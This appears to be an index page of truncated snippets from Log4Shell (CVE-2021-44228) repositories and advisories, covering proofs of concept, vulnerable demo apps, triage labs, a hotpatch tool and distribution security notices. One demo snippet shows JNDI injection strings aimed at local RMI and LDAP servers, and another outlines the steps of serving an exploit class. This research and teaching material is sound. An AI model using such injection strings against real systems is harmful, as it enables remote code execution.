CVE-2021-44228-PoC

CVE-2021-44228 Log4Shell Proof of Concept Apache Log4j2 =2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute...

CVE-2021-44228-Demo

CVE-2021-44228-Demo An example of remotely injecting code via RMI and LDAP using CVE-2021-44228. Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit RmiServer and LdapServ...

log4shell-vulnerable-app

Log4Shell sample vulnerable application CVE-2021-44228 This repository contains a Spring Boot web application vulnerable to CVE-2021-44228, nicknamed Log4Shell. It uses Log4j 2.14.1 through spring-boot-starter-log4j2 2.6.1 and the JDK 1.8.0181. Running the application Run it: docker run --name...

Log4j-Vulnerability

Log4j Vulnerability Tutorial: https://youtu.be/PNDBjoT83zA Tutorial: https://cryptodeeptech.ru/log4j-vulnerability Background on Log4j Alibaba Cloud Security Team publicly disclosed a critical vulnerability CVE-2021-44228 enabling unauthenticated remote code execution against multiple versions of...

Triage-CVE-2021-44228-Log4Shell-Log4j-

Triage: CVE-2021-44228 Log4Shell / Log4j For this lab, the goal was to triage another well-known real-world vulnerability, Log4Shell, one of the most widely exploited vulnerabilities in recent years due to how common the affected library was across enterprise software. Step 1: Open the CVE in NVD...

Log4jPatch

-- This repository has been archived -- Further development of this tool will continue at corretto/hotpatch-for-apache-log4j2. Thanks for sharing, commenting, trying it out and contributing to this project! Log4jPatch This is a POC of a simple tool which injects a Java agent into a running JVM...

log4j-vul

log4j-vul This project is just to show Apache Log4j2 Vulnerability - aka CVE-2021-44228 Java: java version "1.8.0121" Compile: from src folder javac -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar com\example\Log4jVul.java Execute\Run: from src folder java -classpath...

cve-2021-44228-log4shell_rce_reproduction

CVE-2021-44228 — Log4Shell: Apache Log4j2 Remote Code Execution CVSS 10.0 CRITICAL | CWE-502: Deserialization of Untrusted Data | CWE-917: Improper Neutralization for Expression Language Injection Overview Log4Shell CVE-2021-44228 is arguably the most severe vulnerability of the 2020s, affecting...

CVE-2021-44228---Log4Shell-Analysis

🔥 Log4Shell CVE-2021-44228 Analysis A comprehensive technical analysis of the Log4Shell vulnerability CVE-2021-44228, one of the most critical vulnerabilities in modern software history. 📖 Overview This repository contains an in-depth analysis of the Log4Shell vulnerability in Apache Log4j2,...

Log4j-Rec-CVE-2021-44228

Log4j2 Replication Notes, For Learning Only Reference: https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce Create Executable File com/example/template javac Log4jRCE.java Start Python Built-in HTTP Server com/example/template python -m http.server 8888 Start LDAP Server tools java -c...

CVE-2021-44228

CVE-2021-44228 PoC Log4Shell ⚠️ Disclaimer: This tool is intended for educational purposes, security research, and controlled test environments only. Using it against systems without explicit permission is illegal and entirely the responsibility of the user. 📌 Description This project contains a...

Log4Shell-CVE-2021-44228-PoC

Log4Shell CVE-2021-44228: Brief Description Apache Log4j2 2.0-beta9 through 2.15.0 no releases 2.12.2, 2.12.3, and 2.3.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control...

Apache-Log4j2-RCE

Apache Log4j2 RCE Verification Environment Since from 2021.12.09 Some References https://mp.weixin.qq.com/s/yck74F9p9QhVw3ykzVoSg Setting up the Environment Maven introduces related packages and vulnerable version range org.apache.logging.log4j log4j-api 2.14.1 org.apache.logging.log4j log4j-core...

Astra Linux – Vulnerability in Apache Log4j2

The Log4j1XmlLayout from the Apache Log4j 1-to-Log4j 2 bridge fails to escape characters prohibited by the XML 1.0 standard, resulting in malformed XML output. Compatible XML parsers are required to reject documents containing such characters with a fatal error, which may cause downstream log...

Triage-CVE-2021-44228-Log4Shell-Log4j-

Triage: CVE-2021-44228 Log4Shell / Log4j In questo laboratorio, l'obiettivo era fare il triage di un'altra vulnerabilità reale e ben nota, Log4Shell, una delle vulnerabilità più sfruttate degli ultimi anni a causa di quanto fosse diffusa la libreria interessata nel software aziendale. Passo 1:...

Unity Linux 20.1050e / 20.1060e / 20.1070e Security Update: datanucleus-api-jdo (UTSA-2026-093016)

The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the UTSA-2026-093016 advisory. Apache Log4j2 versions 2.0-beta7 through 2.17.0 excluding security fix releases 2.3.2 and 2.12.4 are vulnerable to a remote code execution RCE attack when a...

Unity Linux 20.1050e / 20.1060e / 20.1070-8ae / 20.1070e Security Update: thrift (UTSA-2026-032289)

The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the UTSA-2026-032289 advisory. Apache Log4j2 versions 2.0-beta7 through 2.17.0 excluding security fix releases 2.3.2 and 2.12.4 are vulnerable to a remote code execution RCE attack when a...

Unity Linux 20.1050e / 20.1060e / 20.1070e Security Update: HikariCP (UTSA-2026-093041)

The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the UTSA-2026-093041 advisory. Apache Log4j2 versions 2.0-beta7 through 2.17.0 excluding security fix releases 2.3.2 and 2.12.4 are vulnerable to a remote code execution RCE attack when a...

Unity Linux 20.1050e / 20.1060e / 20.1070-8ae / 20.1070e Security Update: thrift (UTSA-2026-032285)

The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the UTSA-2026-032285 advisory. Apache Log4j2 versions 2.0-alpha1 through 2.16.0 excluding 2.12.3 and 2.3.1 did not protect from uncontrolled recursion from self-referential lookups. This allows an...

Debian: Security Advisory (DLA-4444-1)

The remote host is missing an update for the Debian SPDX-FileCopyrightText: 2026 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...